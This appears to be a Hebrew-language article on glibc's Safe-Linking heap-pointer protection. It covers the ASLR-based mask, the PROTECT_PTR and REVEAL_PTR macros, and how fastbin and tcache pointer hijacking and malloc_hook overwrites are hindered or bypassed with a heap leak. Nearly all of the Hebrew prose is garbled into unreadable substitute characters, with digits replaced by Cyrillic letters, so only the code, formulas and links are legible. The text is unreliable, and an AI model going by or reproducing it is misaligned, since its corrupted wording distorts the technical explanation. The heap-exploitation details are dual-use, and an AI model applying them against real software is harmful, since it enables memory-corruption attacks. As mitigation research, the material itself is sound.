ˢˮ˦˵ ˪˷ ˸˟ˣ˸˩ ˸˧˸ˣ˶˧˶˷ ˭ˣ˶˩˧ˤ˟ ˸˦˧˪˷˟ ˱˵ˣ˸ˢ )˫ˣ˵ˬ ˣ˧˪˞ ˞ˣˢ ˪ˣ˩˧ ˟ˣ˸˩˪ ˰ˡ˧ˬ ˧ˮ˲˪ ˢ˞˴˵ˢˢ.( 

˪˰ ˧˲ ˫ˣ˯˶˲ˢ ˧˶ˣ˵ˬˢ ˠˣ˪˟ˢˬ Check Point research ˸˞ˬ ˶˴ˣ˧ ˭ˣˮˠˮˬˢ ,˪˧˧˞ ˭˧˵˦˧˞ ,˪˧˟ˣˢ˷ ˸˯ˮ˩ˢ˪ 

ˢˮˠˢ xʕ ˣ˧˪˰ˣ ˯˯˟˸ˬ ˵˪˥ ˢˤ :˶ˣ˷˧˵-˥ˣ˦˟ ˢ˷ˣ˰ ˷ˣˬ˧˷ ˸ˣ˧˞˶˵˞˟ ˪˷ ˭ˣˮˠˮˬ s-ASLR ,ˢ˷˰ˮ˷ x˟ 

˷ˣˬ˧˷ ˟˥˶ ˸˧˟˶ˬ˟ ˸ˣ˩˶˰ˬ ˢ˪˰˲ˢˢ ˸ˣ˧ˮ˶ˡˣˬˢ ,˧ˡ˩ "˫ˣ˸˥˪ "˪˰ ˧˰˧˟˴ˬ ˢˬ˧˷˶ˢ .˶˷˞˩ ˫˧˟˪˷ˬ 

ˢ˸ˣ˞ ˫˰ ˸˵˧ˡ˟ ˶ˣ˷˧ˢ ˪˷ s-chunk, ˢ˵˧ˮ˩˦ˢ ˢ˷ˡ˥ˢ ˢˮˠˬ ˪˰ ˫˧˰˧˟˴ˬˢ ˧ˮ˲ˬ ˸ˣˮˣ˧˯ˮ ˸ˣ˦˪˸˷ˢ 

)hijacking( ˪˰ ˫˧˰˧˟˴ˬˢ. 

˭ˣ˶˸˲ ˢˤ ˡ˰ˣˮ ˭ˠˢ˪ ˧ˮ˲˟ ˷ˣ˪˷ ˸ˣ˲˵˸ˬ ˸ˣ˞˴ˬˮˢ ˷ˣˬ˧˷˟ ˶˧ˡ˸ ˟-Exploits ˢ˸ˣ˞˟ ˢ˲ˣ˵˸: 

мΦ ˢ˯˧˶ˡ ˸˧˵˪˥ ˪˷ ˰˧˟˴ˬ :˧ˣˮ˧˷ ˫˧˸˟ˢ ˫˧˩ˣˬˮˢ ˪˷ ˰˧˟˴ˬ )Little Endian( 

нΦ ˢ˯˧˶ˡ ˢ˞˪ˬ ˪˷ ˰˧˟˴ˬ :˸ˣ˦˪˸˷ˢ ˪˰ ˰˧˟˴ˬ ˸˟ˣ˸˩˪ ˸˧˸ˣ˶˧˶˷. 

оΦ Chunks ˞˪ ˫˧˶˷ˣ˧ˬ :ˢ˰˟˴ˢ ˨ˣ˸ˬ ˢˬ˧˷˶ˢ )˸˶˧˴˧ ˶ˣ˷˧˵ ˪˞ (˸˟ˣ˸˩ ˞˪ ˸˶˷ˣ˧ˬ )ˣˬ˩ ˣˮ˧˷˰˷ 

˪˷ˬ˪ ˟-Fastbin dup attack( 

˪ˣˡ˧ˬ ˫ˣ˧˞ˢ 

˱˵ˣ˸˪ ˷˧ ˸˞ ˸ˣ˪ˣ˩˧ˢ ˸ˣ˞˟ˢ: 

¶ ˸˷˧˪ˠ ˳˴ˣ˥ ˸˧˶˞ˮ˧˪ )ˢ˲ˣ˴˶ (˸˶˵ˣ˟ˬ ˠˣ˯ˬ overflow / underflow ˪˰ ˧˟ˠ ˳˴ˣ˥ ˟-heap 

¶ ˢ˟˧˸˩ ˸˟ˣ˸˩˪ ˸˧˸ˣ˶˧˶˷ ˸˧˯˥˧ ˳˴ˣ˥˪ ˟-heap 

˟ˣ˷˥ ˫˧˷˪ ˟˪ ˱˵ˣ˸ˢ˷ ˮˢ"˪ ˞˪ ˰ˡˣ˧ ˸˞ ˫ˣ˵˧ˬ s-heap ,˸˞ˤˣ ˧˩ ˸˟ˣ˸˩ ˯˧˯˟ˢ ˪˷ s-heap ˸˶˥˟ˮ 

˸˧˞˶˵˞ ˡ˥˧ ˫˰ ˸˟ˣ˸˩ ˯˧˯˟ˢ ˪˷ ˶ˣˤ˞ s-mmap )mmap_base ("˧˰ ˭ˣˮˠˮˬ s-ASLR 

˭ˣ˶˸˲ˢ ˰˴ˣˢ˷ ˡ˰ˣˮ ˸ˣ˪˰ˢ˪ ˸˞ ˸ˬ˶ ˳ˬ˞ˬˢ ˷˶ˡ˧˸˷ ˱˵ˣ˸ˬ ˧ˡ˩ ˥˧˪˴˧˷ ˥˸˲˪ exploit ˯˯ˣ˟ˬ heap .

˰ˠ˶ˬ ˢˮˠˢˢ˷ ˢ˪˰˲ˣˢ ,˱˵ˣ˸ˢ ˟˧˧˥ ˢ˧ˢ˸˷ x˪ ˸˪ˣ˩˧ ˸˲˯ˣˮ ˢ˶ˣ˴ˢˬ ˪˷ ˸ˠ˧˪ˤ ˸˟ˣ˸˩ heap  /˸˟ˣ˸˩ 

˰˧˟˴ˬ)˱˩˧˸ ˭˧˟ˮ ˢˬ˪ .(˷˧˥˶˸ ˢˬˠˣˡ˪ ˶ˣ˟˰ ˢˮˠˢ ˣˤ˩˷ ˞ˣˢ ˧˶˞ˮ˧˟ ˧ˣ˪˸-˫ˣ˵˧ˬ )˭˰˦ˮ ˞˪˪ ASLR .

˸ˬ˞ˢ ˞˧ˢ ˷˧˷ ˪ˡ˟ˢ ˭˧˟ PIE x-ASLR ˸ˮ˧˥˟ˬ ˫˧˶ˣˤ˞ˢ ˫˧˰˲˷ˣˬˢ ˭ˣ˶˩˧ˤ˟( ˪˟ˣ˯ˢ ˠ˞˟ˬ ˸˷˧˪ˠ ˳˴ˣ˥ ˟-

heap ˶˷˞˩ ˰˴ˣ˟ˬ ˥ˣ˸˧ˮ ˪˷ ˦˪˵ ˷ˬ˸˷ˬˢ) .ˣ˸ˣ˞ ˢ˶˵ˬ ˠ˴ˣˢ˷ ˫ˣ˯˶˲˟ ˶˵˥ˬ ˫ˡˣ˵ ˭˩˪(. 

  

https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/
https://sourceware.org/git/?p=glibc.git;a=search;h=6310d570bf20348135d09e1f9de84a9ae7d06f83;s=Eyal+Itkin;st=author
https://sourceware.org/git/?p=glibc.git;a=search;h=6310d570bf20348135d09e1f9de84a9ae7d06f83;s=Eyal+Itkin;st=author
https://www.youtube.com/watch?v=iMxquCdAMWI
https://research.checkpoint.com/2020/dont-be-silly-its-only-a-lightbulb/
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ˡ˰ ˢ˸ˣ˞ ˸˰ ,˱˵ˣ˸ ˢ˧ˢ ˪ˠˣ˯ˬ ˪˴ˮ˪ ˸ˣ˶˦ˬ ˣ˪˞˩˷ ˧˪˟ˬ ˵˵ˡˤ˧˷ ˢˠ˪ˤˢ˪ ˪˷ ˸˟ˣ˸˩ ˬ-heap ,˫˰ˣ 

ˢ˦˧˪˷ ˸˧˪ˬˮ˧ˬ ˪˰ s-chunks ˫˧˴˵ˣˬˢ ˣ˪˷ ˰"˧ ˸ˣ˩ˬ˸˯ˢ ˪˰ ˸ˣ˟ˣ˸˩ ˸ˣ˰ˣ˟˵ ˡ˟˪˟ ˧˶˞ˮ˧˟˟ .˭˸˧ˮ 

˫ˣ˯˥˪ ˸ˣˮˣ˧˯˧ˮ ˪ˣ˴˧ˮ ˣ˪˞˩˷ ˱ˮˬ˪ˣ ˸˞ ˭ˣˮˠˮˬ s-ASLR ˧ˡ˩ ˠ˧˷ˢ˪ ˸ˣ˧˞˶˵˞ ˨˪ˢˬ˟ ˟ˣ˸˧ˮ ˷ˡ˥ˬ ˪˷ 

˸ˣ˞˴˵ˢ ˭ˣ˶˩˧ˤ ˪˞ ˸ˣ˟ˣ˸˩ ˫˧˴˟˵˟ ˫˧˶˞ˮ˧˟ˢ ˫˧ˣˣˢˬ˷ ˸ˣ˶˦ˬ ˸ˣ˰˧ˠ˲ . 

ˢˮˠˢˢ 

˸ˣˮˣ˩ˬ˟ ˯˵ˣˮ˧˪ ,-sheap ˪˟˵ˬ ˸˟ˣ˸˩ ˢˮ˧˰˦ ˸˧˞˶˵˞ ˨˶ˡ mmap_base ˰"˲ ˢ˵˧ˠˣ˪ˢ ˢ˞˟ˢ )˪˩˩ 

ˢ˞˶ˮˢ ˶˟ˣˡˬ ˟-psuedocode ,˞˪ ˧˸˥˪˴ˢ ˶˸˞˪ ˢ˶ˣ˷ ˣˤ˩˷ ˡˣ˵˟ ˶ˣ˵ˬˢ ˪˷ glibc( 

random_base = (( 1 << rndbits )  -  1)  << PAGE_SHIFT)  <----   ASLR Formula  

rndbits - ˸˶˧˶˟˩ ˪ˡ˥ˬ ˣˮ˧ˢ у ˸ˣ˩˶˰ˬ˟ ˯˵ˣˮ˧˪ он ˦˧˟ ,-xну ˸ˣ˩˶˰ˬ˟ сп ˦˧˟ .( 

˭ˬ˯ˮ ˸˞ ˸˟ˣ˸˩ˢ ˢ˟˷ ˟˷ˣ˧ ˰˧˟˴ˬ ˪˷ ˢˬ˧˷˶ ˸˶˷ˣ˵ˬ ˡ˥-˸˧ˮˣˣ˧˩ ˟-L .˶˧ˡˠˮ ˸˞ s-Mask ˞˟ˢ ˞ˣˢ˷ 

˫˴˰˟ ˢˤˢ ˢˮ˧ˬ˧ ˪˷ ˸˟ˣ˸˩ˢ L ˶˲˯ˬ˩ ˧˦˧˟ ˦˯˧ˢˢ )˫ˣ˵˧ˬ ˢ˪˧ˬ ˨ˣ˸˟ ˱ˡ (˞˪˷ ˫˧˰˲˷ˣˬ ˬ-ASLR : 

Mask :=  ( L >> PAGE_SHIFT)   

˪˰ ˧˲ ˸˥˯ˣˮ s-ASLR ˮˢ"˪ ,˸˪ˣ˰˲ ˢˤˤˢˢ ˸ˬ˵ˬˬ ˸˞ ˦˧˟ˢ ˧˞˶˵˞ˢ ˭ˣ˷˞˶ˢ )˭˧ˬ˧ˬ (˨ˣ˸ˬ ˸˟ˣ˸˩ 

˭ˣ˶˩˧ˤˢ ˵ˣ˧ˡ˟ ˫ˣ˵˧ˬ˟ ˦˧˟ˢ ˨ˣˬˮˢ ˶˸ˣ˧˟ ˪˷ s- mask)x˞ ˫˧˪˧ˬ˟ ˸ˣ˦ˣ˷˲ - ˦˧˟ ˶˲˯ˬ л ,-sLSbit( 

ˢˬ ˪˧˟ˣˬ˷ ˣˮ˸ˣ˞ ˸ˬ˧˩˯˪ ˢˮˠˢˢ ˢ˞˟ˢ: ˭ˬ˯ˮ ˸˞ ˰˧˟˴ˬˢ )˧˶ˣ˵ˬˢ ,˨˪ˣˢ˷ ˸ˣ˧ˢ˪ ˶˷ˣ˵ˬ ˪˞ ˨ˣ˸ (˪˷ 

ˢˬ˧˷˶ˢ ˸˶˷ˣ˵ˬˢ ˡ˥ˢ ˸˧ˣˣ˧˩ ˟-P .ˢˬ˧˩˯ˢ ˸˧˞˶ˮ ˨˩ )ˣˡ˞˯˲-ˡˣ˵ ˫ˠ˶ˣ˸˧˷ ˱ˣ˯˟ ˡˣ˵˪ C(: 

PROTECT( P)  :=  Mask XOR ( P)  = ( L >> PAGE_SHIFT)  XOR ( P)  

* L = PROTECT( P)  

˶ˬˣ˪˩ :˫ˣ˵ˬ˟ ˶ˬ˷˧˸˷ ˢˬ˧˷˶˟ )˟-fd (˸˟ˣ˸˩ ˰˧˟˴ˬˢ ˸˧˶ˣ˵ˬˢ ,˶ˣˬ˷ˮ ˸˞ ˸˞˴ˣ˸ s-XOR ˢˮ˧˟ ˭˧˟˪ 

ˢ˩˯ˬˢ ˸˧˞˶˵˞ˢ ˢ˟˷ˣ˥˷. 

˦ˬ˶ˣ˲˟ ˡˣ˵ C ˧˲˩ ˰˧˲ˣˬ˷ ˡˣ˵˟ ˶ˣ˵ˬˢ ˢ˯˶ˠ˟ оп.н: 

/*  Safe - Linking:  

   Use randomness  from  ASLR (mmap_base)  to  protect  single - linked  lists  

   of  Fast - Bins  and  TCache.   That  is,  mask the  "next"  pointers  of  the  

   lists'  chunks,  and  also  perform  allocation  alignment  checks  on them.  

   This  mechanism  reduces  the  risk  of  pointer  hijacking,  as  was done  with  

   Safe - Unlinking  in  the  double - linked  l ists  of  Small - Bins.  

   It  assumes  a minimum  page  size  of  4096  bytes  (12  bits).   Systems  with  

   larger  pages  provide  less  entropy,  although  the  pointer  mangling  

   still  works.   */  

#define  PROTECT_PTR( pos ,  ptr ,  type )   \  

        ((type)(((( size_t )pos)  >> PAGE_SHIFT) ^  (( size_t )ptr)))  

 

#define  REVEAL_PTR( ptr )   PROTECT_PTR ( &ptr,  ptr)  

https://elixir.bootlin.com/glibc/glibc-2.34/source/malloc/malloc.c
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˶˷˞˩ pos ˞ˣˢ ˣˬ˩ L ,PAGE_SHIFT ˞ˣˢ мн ˶ˣ˟˰ ˸˟˧˟˯ сп ˦˧˟ )˶ˬˣ˪˩ ˪ˡˣˠ ˱ˡ ˞ˣˢ 2^12Bytes = 4KB ,

ˢˬ ˶ˬˣ˞˷ ˫ˠ ˷-о ˫˧˸˟ˢ ˫˧ˢˣ˟ˠˢ ˪˷ sˢ˞˴ˣ˸ ˞˪ ˫˧˰˲˷ˣˬ ˬ-ASLR ˵˶ˣ ˸˷ˬ˥ ˫˧˸˟ˢ ˫˧˩ˣˬˮˢ ˭˩ ,(

-xptr ˞ˣˢ ˰˧˟˴ˬˢ ˧˶ˣ˵ˬˢ ˨ˣ˸ˬ ˢˬ˧˷˶ˢ ˸˶˷ˣ˵ˬˢ ˡ˥ˢ ˸˧ˮˣˣ˧˩ )P(. 

˸˪ˣ˰˲ ˧ˣ˪˧ˠˢ ")˸˧˩˲ˣˢˢ "ˢˮˠˢ˪ (ˢ˷ˣ˰ ˷ˣˬ˧˷ ˢˮˣ˩˸˟ ˸˪ˣ˰˲ s-XOR :A ^ B = C ė A ^ C = B ˶˷˞˩ 

ϧptr = L  .ˢ˟˧˯ˢ ˨˧˶˴˷ ˢ˸ˣ˞ ˞˧ˢ ˧ˡ˩ ˢ˷-bins ˣ˪˩ˣ˧ ˠˢˮ˸ˢ˪ ˣˬ˩ ˧ˮ˲˪ ˭ˣ˵˧˸ˢ ˭˟ˣˬ˩ )˸˷ˠ˪ ˪-chunk 

˞˟ˢ ˢˬ˧˷˶˟ ˣ˩ˣ .('ˢ˶ˣ˴˟ xʕ ,˫˧˦˧˟ˢ ˫˧˧˞˶˵˞ˢ ˪˷ ˸˟ˣ˸˩ˢ L ˫˧˰˧˲˷ˬ ˪˰ ˫˧˦˧˟ˢ ˫˧˩ˣˬˮˢ ˪˷ 

˰˧˟˴ˬˢ ˥˦˟ˣ˞ˬˢ ,˧˲˩ ˭˸˧ˮ˷ ˸ˣ˞˶˪ ˢˬˠˣˡ˟ ˶ˣ˧˞˟˷ ˞˟ˢ: 

 
]˶ˣ˧˞ нп: Safe-Linking: Eliminating a 20 year-old malloc() exploit primitive (From Check Point research blog)ώ 

 

˶˟˯ˢ ˶ˣ˧˞˪ :˰˧˟˴ˬˢ ˨˯ˣˬˬˢ )˥˦˟ˣ˞ˬˢ (ˢ˯ˣ˩ˬ ˫˧˦˧˟˟ ˫˧˧˞˶˵˞ )˫˧˰˧˲ˣˬ ˫ˣˡ˞˟ ,˶˞˷ˢ ˫˧˰ˣˡ˧ (

˸˟˩˷ ˢˮˠˢ xʕ ˸˰ˮˣˬ ˱˵ˣ˸ˬ )x˞ ˪˩˪ ˸ˣ˥˲ˢ ˢ˶ˣˬ˞ (˸ˣ˷˰˪ ˫˧˧ˣˮ˧˷ ˰˧˟˴ˬ˟ ˞˪˪ ˰ˡ˧ ˫˧ˡ˵ˬ ˪˰ 

˫˧˦˧˟ˢ ˫˧ˬˣˡ˞ˢ ˫˧˧˞˶˵˞ˢ )˧˦˧˟ s-ASLR .(˭ˬˤ˟ ˱˵ˣ˸ˢ˷ ˞˪ ˪ˣ˩˧ ˦˪˸˷ˢ˪ ˪˰ ˰˧˟˴ˬˢ ,˫ˠ ˣˮ˥ˮ˞ 

ˢ˧ˢˮ ˫˧˪˟ˠˣˬ ˫ˣ˷ˬ ˣˮ˞˷ ˞˪ ˫˧˪ˣ˩˧ ˵ˣˡ˟˪ ˫˞ˢ ˷˥˶˸ˢ ˧ˣˮ˧˷ ˪˷ ˰˧˟˴ˬˢ .˭˞˩ˣ ˸˯ˮ˩ˮ ˢ˵˧ˡ˟ ˸˲˯ˣˮ: 

˪˩ s-chunks ˫˧˴˵ˣˬˢ ˪˰ s-heap ˫˧˶˷ˣ˧ˬ ˦˯˧ˢ˪ ˰ˣ˟˵ ˰ˣˡ˧ ˣˮ˧ˢ˷ ˡ˟"˩ у ˫˧˸˟ ˸ˣ˩˶˰ˬ˟ он ˦˧˟ ,-x

мс ˫˧˸˟ ˸ˣ˩˶˰ˬ˟ сп .˫˞ ˞ˡˣˣˮ ˪˩˷ ˰˧˟˴ˬ ,˶˥˞˪ ˪˧˰˲ˮ˷ ˣ˧˪˰ ˸˞ reveal )˧ˣ˪˧ˠ/ˢ˲˧˷˥ ˪˷ P 

˧˶ˣ˵ˬˢ ,(ˢ˧ˢ˧ ˶˷ˣ˧ˬ ˫˞˸ˢ˟ ˤ˞ ˣ˲˯ˣˣ˸˧ ˣˮ˪ ˧˸˷ ˸ˣ˟˩˷ ˢˮˠˢ ˸ˣ˟ˣ˷˥: 

¶ ˫˧˲˵ˣ˸ ˫˧˟˧˧˥ ˷˥ˮ˪ ˭ˣ˩ˮ ˸˞ ˧˦˧˟ ˶ˣ˷˧˧ˢ. 

¶ ˫˧˲˵ˣ˸ ˞˪ ˫˧˪ˣ˩˧ ˫ˣ˶ˠ˪ ˪-chunks ˰˧˟˴ˢ˪ ˸ˣ˟ˣ˸˩˪ ˭ˣ˶˩˧ˤ ˞˪ ˸ˣ˶˷ˣ˧ˬ. 

˸ˣˮˣ˩ˬ˟ сп ˦˧˟ ,ˢˮˠˢˢ ˸˧˦˯˧˦˦˯ˢ ˸ˬ˶ˣˠ ˭ˣ˧˯˧ˮ˪ ˢ˲˵˸ˢ ˪˷˩˧ˢ˪ мр ˨ˣ˸ˬ мс ˫˧ˬ˰˲ )˞˪ ˱˶ˣ˴ 

˶˟˯ˢ( .˫˞ ˶ˣˤ˥ˮ ˶ˣ˧˞˪ ˫ˡˣ˵ˢ ,ˢ˞˶ˮ ˨˶˰ˢ˷ ˪˷ ˰˧˟˴ˬˢ ˥˦˟ˣ˞ˬˢ ˫˧˧˸˯ˬ ˟-nibble 0x3 ,˷ˣ˶˧˲ 

˶˟ˡˢ ˱˵ˣ˸˷ ˟˧˧˥ ˷ˬ˸˷ˢ˪ ˨˶˰˟ 0x3 ˢ˷˧˪ˠ˟ ˣ˪˷ ,˧˩ ˸˶˥˞ ˞ˣˢ ˸˧˥˷˧ ˸˞ ˨˶˰ˢ ˪˧˷˩˧ˣ ˸˞ ˸˵˧ˡ˟ 

˶ˣ˷˧˧ˢ.  
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ˣ˪˧˲˞ ˢˬ˴˰˪˷˩ ,˸˵˧ˡ˟ ˶ˣ˷˧ xʕ ˸˰ˮˣˬ ˷ˣˬ˧˷ ˟-primitives ˫˧˰ˣˡ˧ ˧˩˶˴˪ ˢ˧˴˦ˣ˪˲˯˵˞ ˣˬ˩ ˢˤ ˫˶ˣˠ˷ 

˶ˣ˷˧˵˪ s-malloc_hook ˪˞ s-fastbin ˨˶ˣ˴˪ ˸ˠ˷ˢ ˢ˪ˣ˩˧ ˸˴˶ˢ ˡˣ˵. 

ˢ˵˧ˡ˟ ˸˶ˤˣ˥ ˪˷ ˪ˡˣˬ ˫ˣ˧˞ˢ  

˸˵˧ˡ˟ ˶ˣ˷˧ˢ ˢˮ˧˦˵ˬ ˸˞ ˥˦˷ˬ ˢ˲˧˵˸ˢ ˸˷˶ˣˡˣ ˷-chunk ˟-tcache x˞ ˟-fastbin ˢ˧ˢ˧ ˟˧˧˥ ˰˧˟˴ˢ˪ 

˪˰ ˸˟ˣ˸˩ ˭ˣ˶˩˧ˤ ˸˶˷ˣ˧ˬ .ˢˤ ˫˯ˣ˥ ˭˲ˣ˞˟ ˶˧˷˧ ˭ˣˣˠˬ ˸ˣ˦˧˷ ˢ˧˴˦ˣ˪˲˯˵˞ ˣ˶˩ˤˣˢ˷ ˫ˡˣ˵ ˭˩˪. 

˵ˣ˧ˡ˟ ˣˬ˩ ˭ˣˮˠˮˬ˟ s-Safe-Unlink )˪˰ˣ˲˷ ˪˰ ˸ˣˬ˧˷˶ˢ ˸ˣ˶˷ˣ˵ˬˢ ˣˡˢ-˸ˣ˧ˮˣˣ˧˩ ,(ˢˮˠˢ xʕ ˸ˮ˰˷ˮ ˪˰ 

ˢˡˣ˟˰ˢ ˱˵ˣ˸ˢ˷ ˞˪ ˰ˡˣ˧ ˨˧˞ ˫˧˞˶ˮ ˧˰˧˟˴ˬ heap ˫˧˧ˬ˧˦˧ˠ˪. 

 ˢ˶˵ˬ˟ ˪˷ ˸ˣˬ˧˷˶ ˸ˣ˶˷ˣ˵ˬ xl-˸ˣ˧ˮˣˣ˧˩ ,˱˵ˣ˸ ˪ˠˣ˯ˬˢ ˱˧˧ˤ˪ ˢˮ˟ˬ ˭ˣ˶˩˧ˤ ˰ˡˣ˧ˣ ˡ˴˧˩ ˢ˞˶ˮ ˰˧˟˴ˬ 

heap ˭˧˵˸ ,˪˩ˣ˧ ˱˧˧ˤ˪ ˫ˠ ˠˣˤ ˧˰˧˟˴ˬ FD/BK ˫˧ˮ˧˵˸ ˫ˮˬ˞˷ ˞˪ ˣˮ˸˧ x˪ ˸˪ˣ˩˧ ˢ˟˧˸˩ ˸˟ˣ˸˩˪ ˸˧˸ˣ˶˧˶˷ ,

˨˞ ˣ˶˷˲˞˧ x˪ ˶˷˵˪ chunk ˞˴ˬˮˢ ˸˟ˣ˸˩˟ ˣ˸˦˧˪˷˟. 

ˢ˶˵ˬ˟ ˪˷ ˸ˣˬ˧˷˶ ˸ˣ˶˷ˣ˵ˬ ˡ˥-˸ˣ˧ˮˣˣ˧˩ ,˱˵ˣ˸˪ ˭˧˞˷ ˣ˸ˣ˷˶˟ ˸ˠ˧˪ˤ ˸˟ˣ˸˩ ˰˧˟˴ˬ ,˞˪ ˪˩ˣ˧ ˦ˣ˪˷˪ 

˭˲ˣ˞˟ ˞˪ˬ ˪˰ ˰˧˟˴ˬ ˯˶ˡˮ˷ ˟˵˰ ˸˟˩˷ ˢˮˠˢˢ ˸˩ˬ˸˯ˬ˷ ˪˰ ˸ˣ˧˞˶˵˞ˢ ˸˷˩˶ˮˢ ˸˪ˣ˰˲ˬ s-ASLR 

ˢ˥˸ˣ˲˷ ˭˞˩ .˰ˣ˟˵ˢ PAGE_SHIFT ˫˵ˬˬ ˸˞ ˫˧˦˧˟ˢ ˫˧˧˞˶˵˞ˢ ˪˥ˢ ˦˧˟ˢˬ ˨ˣˬˮˢ ˶˸ˣ˧˟ ˪˷ ˰˧˟˴ˬˢ 

˫˧˶ˬˣ˷˷ .˶˷˞˩ ˫˧˟˪˷ˬ ˢ˸ˣ˞ ˫˰ ˸˵˧ˡ˟ ˶ˣ˷˧˧ˢ ,˸˧˸ˣ˶˟˸˯ˢ ,˰ˮˬˮ ˭ˬ ˱˵ˣ˸ˢ ˸ˣˮ˷˪ ˣ˪˧˲˞ ˵˶ ˸˞ 

˦˧˟ˢ/˸˧˟ ˭ˣ˸˥˸ˢ )Little endian (˪˷ ˰˧˟˴ˬˢ ˭˯˥ˣ˞ˬˢ ˟-data ˪˷ ˢˬ˧˷˶ˢ ˸˶˷ˣ˵ˬˢ ˡ˥ˢ-˸˧ˮˣˣ˧˩ 

˫ˣ˩˧˯ 

ˣ˸ˣ˞˟ ˫ˣ˯˶˲ ,˟˸˩ˮ ˸˶˰ˢ˩ ˫ˣ˩˧˯ :˸ˮˠˢ s-Safe-Linking ˢˮˮ˧˞ ˭ˣ˶˸˲ ˫˯˵ ˶ˣ˴˰˧˷ ˸˞ ˪˩ ˸ˣˮˣ˧˯ˮ ˪ˣ˴˧ˮ 

˸ˣ˷˪ˣ˥ˢ ˡˠˮ˩ ˧˷ˣˬ˧ˬ heap ˫˧˧ˮ˶ˡˣˬ .ˡ˥˧ ˫˰ ˸˞ˤ ,ˣˢˤ ˡ˰˴ ˱˯ˣˮ ˭ˣˣ˧˩˟ ˭ˣ˩ˮˢ ."˧˰ ˸˥˶˩ˢ ˱˵ˣ˸ˢ 

ˡ˧˧˦˴ˢ˪ ˸˷˪ˣ˥˟ ˸ˠ˪ˤˢ ˰˧˟˴ˬ ˧ˮ˲˪ ˞ˣˢ˷ ˪ˣ˩˧ ˣ˪˧˲˞ ˪˧˥˸ˢ˪ ˸˞ ˢ˲˵˸ˬ ˸˯˯ˣ˟ˬ heap ,˫˧ˮˠˬˢ 

˫˧˪˰ˬ ˢˠ˶ˡˢ˟ ˸˞ ˱˶ˢ ˣ˩˶˦˴˧˷ ˡˡˣˬ˸ˢ˪ ˣ˸˧˞ ˫˧˲˵ˣ˸ˢ. 

ˢˮˠˢ xʕ ˢˣˣˢˬ ˡ˥˞ ˫˧ˠ˷˧ˢˢˬ ˫˧˧˸ˣ˰ˬ˷ˬˢ ˶˸ˣ˧˟ ˸ˮ˧˥˟ˬ ˸ˣ˧˟˧˦˵˲˞ ˢ˷ˬˣˬ˷ ˟-glibc ˢˮˣ˶˥˞˪ .˭ˬˤ 

ˢˬ ˶˥˞˪ ˭˩ˬ ,˭˲ˣ˞˟ ˞˪ ˰˧˸˲ˬ ,˫˧˶˵ˣ˥ ˣ˪˧ˠ ˭˸˧ˮ˷ ˱ˣ˵˰˪ ˢˮˠˢ xʕ ˧˪˟ˬ ˵˵ˡˤˢ˪ ˸ˠ˪ˤˢ˪ ˸˟ˣ˸˩ ˢˬ-

Heap.! ˶˞˸ˮ ˫˧ˠˡˮˣ ˸˞ˤ ˸ˣ˵˧ˮ˩˦˟ ˸ˣ˞˟ˢ ˨ˬ˯ˬ˟ .ϐ˶ˣ˟˷˪ ˸˞ ˢˮˠˢˢ ˟˴ˬ˟ x˟ ˷˧ ˣˮ˪ heap leak 

˟˷˥ˮ ˭˧˧ˮ˰˪ ˦ˣ˷˲ ˸˧˯˥˧ώ 

˟ˣ˷˥ ˭˧˧˴˪ ˞˪˷ ˪˩ ˢ˷˪ˣ˥ ˸ˮ˸˧ˮˢ ˪ˣ˴˧ˮ˪ ˡˣ˵˟ ˪˷ glibc ˫˧˩˶˴˪ ˫˧˧ˮˣˡˤ ˶˷˞ ˸˥ˣˣˡˬ ˥˶˩ˢ˟ ˪˧˟ˣ˸ 

˭ˣ˵˧˸˪ ˫˧˞˴ˬˬˢ ˸˧ˡ˧˧ˬ/˪˪˩˟ )ˣ˪˧˲˞ ˫˞ ˰˴ˣˬ ˢ˪ patch ˭ˣ˵˧˸ .(˨˧˪ˢ˸ˢ ˨ˣ˶˩ )˧ˣ˞˶˩ ˦˵˧ˣ˶˲˪ ˢ˩ 

˟˩˶ˣˬ ˟ˣ˷˥ˣ (ˢ˧˦˶˵ˣ˶˧˟˟ ˸˪˲ˣˮˢ ˫˧˸˧˰˪ ˪˰ ˞˴ˣˬ ˢ˷˪ˣ˥ˢ ˢ˶˵ˬ˟ ˪˷ ˭ˣ˵˧˸ ˶˲˯ˬ ˟˶ ˪˷ ˸ˣ˶ˣ˷ 

ˡˣ˵ .˪ˣ˩˧ˣ ˸ˣ˧ˢ˪ ˵˶˷ ˶˲˯ˬ ˫˴ˬˣ˴ˬ ˪˷ ˫˧˵ˤ˥˸ˬ ˧˞˶˥˞ ˸˯ˮ˩ˢ˪ ˸ˣ˧˴ˠ˧˦˧ˬˢ ˡˣ˵˪ )ˣˬ˧˷ ˟˪ ˸˪˟˦˪ 

˸ˣ˧˴ˠ˧˦˧ˬˢ ˨ˬ˯ˬ˟˷ ˢˤ .(ˢˬ ˶ˬˣ˞˷ ˭˸˧ˮ˷ ˞ˣ˴ˬ˪ ˧˶ˣ˥ ˢ˥˦˟˞ ˫˧˥ˣˣ˧ˡ˟/˸ˣ˰˴ˢ ˸ˣˮ˷˧ ˸ˣ˰˧˲ˣˬˢ 

˶˸˞˟ ˦˵˧ˣ˶˲ˢ x˞ ˸˩˶˰ˬ˟ ˟˵˰ˬ˪ ˧˶˥˞ ˫˧ˠ˞˟ ˣ˪˷ )˫˞ ˫˧˰ˡˣ˧ ˢˬ ˨˧˞ˣ ˷˲˥˪ ,˶˷˲˞ ˫ˠ ˸ˣ˯ˮ˪ 

https://quentinmeffre.fr/exploit/heap/2018/11/02/fastbin_attack.html
https://github.com/x64x6a/ctf-writeups/tree/master/PlaidCTF_2021/pwnable/plaidflix
https://github.com/x64x6a/ctf-writeups/tree/master/PlaidCTF_2021/pwnable/plaidflix
https://sourceware.org/glibc/wiki/MAINTAINERS
https://sourceware.org/pipermail/libc-alpha/
https://sourceware.org/bugzilla/buglist.cgi?quicksearch=vulnerability
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˰˧ˠˢ˪ ˫˧˞˴ˬˬ˪ ˣ˪˞˩ ˨˶ˡ ˪ˠˣˠ x˞ ˧˰ˣˮˬ ˷ˣ˲˧˥ ˫˧˶˥˞ .˭˲ˣ˞˟ ˧˦˸ˣ˲˧ˢ ,˭˩˸˧ ˫ˮ˷˧˷ ˫˧˲ˣˠ ˫˧ˬ˧˧ˣ˯ˬ 

